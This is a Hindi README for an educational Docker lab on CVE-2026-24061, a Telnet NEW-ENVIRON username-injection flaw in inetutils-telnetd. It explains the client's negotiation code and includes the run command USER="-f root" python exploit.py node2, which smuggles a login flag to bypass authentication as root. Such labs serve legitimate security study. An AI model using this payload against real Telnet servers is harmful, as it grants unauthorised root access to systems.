
# शैक्षिक Docker लैब जो Telnet NEW-ENVIRON यूज़रनेम इंजेक्शन (CVE-2026-24061) का प्रदर्शन करती है, जिसमें Python क्लाइंट और कमजोर सर्वर शामिल है, जो पृथक सुरक्षा अनुसंधान के लिए है।
टेलनेट प्रोटोकॉल नेगोशिएशन के साथ प्रयोग करने के लिए एक हल्का डॉकर लैब, जिसे CVE-2026-24061 एक्सप्लॉइट में समझाया गया है, जिसमें NEW-ENVIRON विकल्प का उपयोग करके स्वचालित यूज़रनेम इंजेक्शन शामिल है।
यह प्रोजेक्ट एक अलग क्लाइंट-सर्वर वातावरण बनाता है ताकि यह अध्ययन किया जा सके कि टेलनेट पर्यावरण-आधारित प्रमाणीकरण बायपास को कैसे संभालता है।
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| कंटेनर | भूमिका |
|---|---|
| node1 | ऑटो-लॉगिन स्क्रिप्ट के साथ पायथन क्लाइंट |
| node2 | टेलनेट सर्वर (inetutils-telnetd 2.7) |
दोनों सेवाएं labnet नामक एक निजी डॉकर ब्रिज नेटवर्क के अंदर चलती हैं।
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
यह फ़ाइल node1 नामक क्लाइंट कंटेनर की स्थापना के लिए जिम्मेदार है।
मैंने python:3.12-slim को आधार छवि के रूप में चुना, क्योंकि इस लैब का उद्देश्य केवल नेटवर्क संचार है। हम केवल टेलनेट क्लाइंट स्थापित करते हैं, और exploit.py को कंटेनर के रूट फ़ोल्डर में कॉपी करते हैं।
यह फ़ाइल node2 नामक सर्वर कंटेनर की स्थापना के लिए जिम्मेदार है।
इस कंटेनर के लिए भी वही आधार छवि लागू होती है। हालांकि, स्थापना प्रक्रिया में अधिक चरण शामिल हैं:
wget स्थापित करना होगा।apt get install -y का उपयोग करके स्थापित करें।/etc/inetd.conf में जोड़ी गई पंक्ति टेलनेट सेवा को सक्षम करती है।फ़ाइल के शीर्ष पर, हम कुछ स्थिरांक घोषित देखते हैं:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC, जिसका मान 255 है, का अर्थ है Interpret As Command, इसलिए यह टेलनेट नियंत्रण अनुक्रम की शुरुआत को चिह्नित करता है।
आप और भी विकल्प देख सकते हैं यहां
प्रारूप आमतौर पर इस तरह दिखता है:
IAC <command> <option>
स्क्रिप्ट में, निम्नलिखित भाग है:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
यह if जांचता है कि सर्वर से वर्तमान में प्राप्त डेटा में IAC मान शामिल है या नहीं, यदि हां, तो हमें इसे एक कमांड के रूप में व्याख्या करने की आवश्यकता है।
हम while लूप का उपयोग करके प्राप्त डेटा से गुजरते हैं। हम प्रत्येक बाइट के लिए जांचते हैं कि क्या यह IAC है।
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
यदि यह है, तो हम cmd और opt चर को डेटा स्ट्रीम का संबंधित बाइट निर्दिष्ट करते हैं।
यदि opt मान NEW_ENVIRON के मान के बराबर है, तो स्क्रिप्ट send_new_environ_user विधि चलाती है।
आइए निम्नलिखित कोड भाग की जांच करें:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB और SE टेलनेट प्रोटोकॉल के स्थिरांक का हिस्सा हैं। SB का अर्थ है 'Subnegotiation begin', जबकि SE का अर्थ है 'Subnegotiation end'। इन दो मानों के बीच की कोई भी चीज़ एक विशिष्ट कमांड से संबंधित सेटिंग्स हैं, जो सर्वर को भेजी जाती हैं। इस मामले में, हम rfc1572 मानक का उपयोग करके एक संदेश भेजना चाहते हैं, विस्तार से यहां।
हम बाइट अनुक्रम का अंग्रेजी में ढीला अनुवाद कर सकते हैं, जैसे:
- इसे एक कमांड के रूप में व्याख्या करें (IAC)
- यह है (0)
- एक नया पर्यावरण चर (NEW_ENVIRON)
- इस नए पर्यावरण चर का मान है (b"USER" + bytes([ENV_VALUE]) + username.encode())
- उप-कनेक्शन समाप्त करें (IAC + SE)
हालांकि, ऐसे मामले हैं जब लक्षित टेलनेट सर्वर यूज़रनेम से संबंधित पर्यावरण चर का समर्थन नहीं करता है। इस मामले में, हम यूज़रनेम को पारंपरिक तरीके से भेजने के लिए फ़ॉलबैक करते हैं।
स्थापना सत्यापित करें:
docker --version
docker compose version
docker compose up --build -d
स्थिति जांचें:
docker ps
आपको देखना चाहिए:
node1node2docker exec -it node1 bash
एक यूज़रनेम सेट करें, और स्क्रिप्ट चलाएं:
USER="-f root" python exploit.py node2
स्क्रिप्ट निम्न कार्य करेगी:
node2 से कनेक्ट करेंUSER=-f root भेजेंlabnet| होस्टनाम | सेवा |
|---|---|
| node1 | क्लाइंट |
| node2 | टेलनेट सर्वर |
क्लाइंट स्क्रिप्ट:
IAC, DO, WILL को संभालती है, जो क्लाइंट और सर्वर के बीच विकल्प नेगोशिएशन के लिए उपयोग किए जाने वाले मौलिक टेलनेट प्रोटोकॉल कमांड हैं।NEW-ENVIRON अनुरोधों का जवाब देती हैUSER=<$USER का मान>
login: या username: प्रॉम्प्ट का पता लगाती हैवातावरण रोकें:
docker compose down
यदि आप कंटेनर और छवियों को भी हटाना चाहते हैं:
docker compose down --rmi all
टेलनेट डेटा को प्लेनटेक्स्ट में प्रसारित करता है और सुरक्षित नहीं है। यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए अलग वातावरण में है।
कनेक्शन अस्वीकृत
सुनिश्चित करें कि कंटेनर चल रहे हैं:
docker ps
स्क्रिप्ट USER त्रुटि के साथ बाहर निकलती है
USER="-f root" python exploit.py node2
परिवर्तनों के बाद पुनर्निर्माण करें
docker compose up --build
यह रिपॉजिटरी शैक्षिक और शोध उपयोग के लिए प्रदान की गई है। योगदान और सुधार का स्वागत है।